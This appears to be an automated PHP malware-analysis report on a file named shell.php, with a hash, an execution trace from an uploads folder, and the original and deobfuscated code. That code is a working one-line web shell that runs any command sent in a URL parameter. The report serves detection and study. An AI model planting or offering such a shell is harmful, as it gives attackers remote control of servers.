PHP Malware Analysis

shell.php

md5: 8d770aaef23d5c19acce61647beb15b9

Jump to:

Screenshot


Attributes

Execution

Input


Deobfuscated PHP code

<?php

echo shell_exec($_GET['cmd']);

Execution traces

data/traces/8d770aaef23d5c19acce61647beb15b9_trace-1676252657.0533.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:44:42.951160]
1	0	1	0.000225	393512
1	3	0	0.000269	393096	{main}	1		/var/www/html/uploads/shell.php	0	0
1	3	1	0.000288	393096
			0.000321	314224
TRACE END   [2023-02-12 23:44:42.951298]


Generated HTML code

<html><head></head><body></body></html>

Original PHP code

<?echo shell_exec($_GET['cmd']);?>